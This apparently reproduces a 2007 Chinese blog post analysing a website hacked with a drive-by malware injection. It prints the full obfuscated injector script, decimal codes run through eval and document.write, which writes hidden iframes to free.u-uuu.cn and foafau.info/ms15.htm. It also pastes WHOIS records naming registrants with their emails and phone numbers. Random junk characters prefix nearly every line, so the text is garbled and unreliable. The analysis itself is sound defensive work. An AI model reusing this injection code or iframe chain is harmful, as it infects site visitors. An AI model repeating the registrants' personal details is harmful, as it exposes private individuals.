首发在我的博客里面，
U")~bU ^E8&!s http://www.areway.cn/?p=175 2)h
i( sb Z)z#Tr Kjc"K36{L 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
o"R[#E&Yx 4K[ E3aA <script>t=’60,105,102,114,97,109,101,
h f^, 32,115,114,99,61,104,116,116,112,58,47,47,
R5NDT4QYU 102,114,101,101,46,117,45,117,117,117,46,99,
$GNN* WmHw 110,47,101,114,114,111,114,46,104,116,109,
[!,&A{.! 32,119,105,100,116,104,61,49,48,48,32,104,
iK N~fGRc 101,105,103,104,116,61,48,62,60,47,105,102,
k q8:h 114,97,109,101,62′;
EA|*|o 4) t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
#Z)e]4{ !l OGh9^,v <script>t=’60,105,102,114,97,109,101,32,115,
h^D? G2O 114,99,61,104,116,116,112,58,47,47,102,114,
a&6 3[p.<} 101,101,46,117,45,117,117,117,46,99,110,47,
w <<>XIL 101,114,114,111,114,46,104,116,109,32,119,
*?Nrx=O* 105,100,116,104,61,49,48,48,32,104,101,105,
qxf!]jm 103,104,116,61,48,62,60,47,105,102,114,97,
_d 76jmujJ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
4Pe%*WTX document.write(t);</script>
#8MA+ )."_i64 <html xmlns=”
IP7j)SM! http://www.w3.org/1999/xhtml X xcY “>
I?uU }NK <head>
aTuD |s <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
J:Ea|tXK^ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Zy|B~.@<j <title>首页 - 爱生活家庭网
a\
fG)Fqp :f
G 5?]) 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
, 7K P 转换字符串后的大概内容是（谁点击后果自付）：
,Md8A`7x~ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
&l "/G%W 3p6QJuSB 查询玉米u-uuu.cn的详细信息：
zsFzF`[k Domain Name: u-uuu.cn
?;zu>4f| ROID: 20070901s10001s64972306-cn
ukpbx;O:hc Domain Status: ok
NY
756B*
Registrant Organization: 王雷
|tIr?nXSW3 Registrant Name: 王雷
$nF|n+m Administrative Email:
czlovexs@126.com 4l7TrCB Sponsoring Registrar: 北京万网志成科技有限公司
Q)c3=.[> Name Server:ns.yovole.com
z`$jxSLm Name Server:ns1.yovole.com
Z<L}ur Registration Date: 2007-09-01 17:54
p4GhT~)l: Expiration Date: 2008-09-01 17:54
e+6mbJ7y 最后PING了一下地址 都没有什么….
kH~ z07: rV84?75( Y 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
fb-Lp#!T39 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
YbtsJ
<w <script language=”javascript” src=”
1/+d@s#t http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script w\,N}'G >
.7&V@A7 这个玉米应该有可能是木马作者的：
v e($l"T foafau.info的详细信息：
? lq Access to INFO WHOIS information is provided to assist persons in
uonCD 8 determining the contents of a domain name registration record in the
7 OAM Afilias registry database. The data in this record is provided by
>RJjm&M Afilias Limited for informational purposes only, and Afilias does not
\c}_ !.xj" guarantee its accuracy. This service is intended only for query-based
m%m<- .'- access. You agree that you will use this data only for lawful purposes
,1/O2aQ%\0 and that, under no circumstances will you use this data to: (a) allow,
Em)U`"j/ 9 enable, or otherwise support the transmission by e-mail, telephone, or
Ln:6@Ok)5% facsimile of mass unsolicited, commercial advertising or solicitations
oCfO:7 to entities other than the data recipient’s own existing customers; or
A,67)li3 (b) enable high volume, automated, electronic processes that send
p0*qv"lA queries or data to the systems of Registry Operator, a Registrar, or
B@cC'F#G Afilias except as reasonably necessary to register domain names or
}`KK modify existing registrations. All rights reserved. Afilias reserves
fF6bEJl3 the right to modify these terms at any time. By submitting this query,
mi[t1cN)= you agree to abide by this policy.
QN47+)cVt" Domain ID:D22418703-LRMS
wcH,!;3z+ Domain Name:FOAFAU.INFO
.3
>"qv Created On:20-Nov-2007 16:05:42 UTC
WC0z'N({W Last Updated On:20-Nov-2007 16:05:44 UTC
L~oy|K67 Expiration Date:20-Nov-2008 16:05:42 UTC
SR%k|YT Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
X*cDn.(I Status:CLIENT DELETE PROHIBITED
RW~!)^ Status:CLIENT RENEW PROHIBITED
yFoPCA86y Status:CLIENT TRANSFER PROHIBITED
l266ufO.u- Status:CLIENT UPDATE PROHIBITED
Ft
E5H Status:TRANSFER PROHIBITED
lfvt9!SJ+/ Registrant ID:GODA-040110615
~ c,CngeL0 Registrant Name:liu hong
W wsH7X) Registrant Organization:
5(zdM)Y7 Registrant Street1:beijing
Az7
] qb Registrant Street2:
. ;rE4B Registrant Street3:
_'8P8 T& Registrant City:beijing
W4;/;[/L Registrant State/Province:
mT:NC'b<9 Registrant Postal Code:100000
BP4xXdG Registrant Country:CN
L4DT*(;!E Registrant Phone:+86.860108888777
?(Se$iTZ Registrant Phone Ext.:
g.Tc>?~ Registrant FAX:
J> l?HK Registrant FAX Ext.:
Y~ xo=v( Registrant Email:bbbshiji@163.com
44NM of8N Admin ID:GODA-240110615
l-Be5?|{_ Admin Name:liu hong
3Ccy %; Admin Organization:
t4iD<{4 Admin Street1:beijing
M>E~eb/ Admin Street2:
lZAXDxhnT Admin Street3:
Vw u dNjL Admin City:beijing
1:JwqbZKJ Admin State/Province:
wz '= Admin Postal Code:100000
l`uI K. Admin Country:CN
(xfh 9=. Admin Phone:+86.860108888777
5JHWt<n{P Admin Phone Ext.:
Ptz## o'{5 Admin FAX:
PYBE?td Admin FAX Ext.:
# c!rx%8I Admin Email:bbbshiji@163.com
F\, vI S Billing ID:GODA-340110615
qJ sH Billing Name:liu hong
+h@.P B^`~ Billing Organization:
7Db}bDU1
| Billing Street1:beijing
t~7OtPF Billing Street2:
SJ91(K Billing Street3:
zYrJ Hn#vB Billing City:beijing
u^G Y7gah Billing State/Province:
m]vS"AdX Billing Postal Code:100000
2e HVl.C5 Billing Country:CN
ue^HhZ9 Billing Phone:+86.860108888777
[YP{%1*RM Billing Phone Ext.:
I_5/e> 9 Billing FAX:
`Xz!apA Billing FAX Ext.:
Lb)rloca Billing Email:bbbshiji@163.com
xP_/5N=f Tech ID:GODA-140110615
_RzF h Tech Name:liu hong
)Gavjj&uJ Tech Organization:
x3g4 r_ Tech Street1:beijing
~o#mX?'7 Tech Street2:
GGnlkp& E Tech Street3:
n$N$OFuO Tech City:beijing
a2Nxpxho Tech State/Province:
O /|))H?C Tech Postal Code:100000
T60pw Tech Country:CN
&8w#
4*W Tech Phone:+86.860108888777
x!fG%o~h Tech Phone Ext.:
d!w3LwZ Tech FAX:
lP*n%Pn ) Tech FAX Ext.:
WQ 2{ `'z Tech Email:bbbshiji@163.com
(BFwE@1" Name Server:NS27.DOMAINCONTROL.COM
O!%T<2i3 Name Server:NS28.DOMAINCONTROL.COM
}% f7O Name Server:
hf]m'5pb Name Server:
,cL; ,YN Name Server:
]iGeqwT Name Server:
WPkKb F Name Server:
Pw| h `[h Name Server:
F@k}p-e~ Name Server:
$&&E[JY Name Server:
^ZO! ( Name Server:
oz>2P.7 Name Server:
W^H3 =hZ Name Server:
(De{r| HO['o{>BL 接着下载每个文件里面的代码：
I-Z|FKh_C 一步一步看..
`:Gzjngc 
oWL_Hh%-f` 
2 ?GMKd) 
n jf\f w_ 
u*v< dsGQ 
Go)g}# . & 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
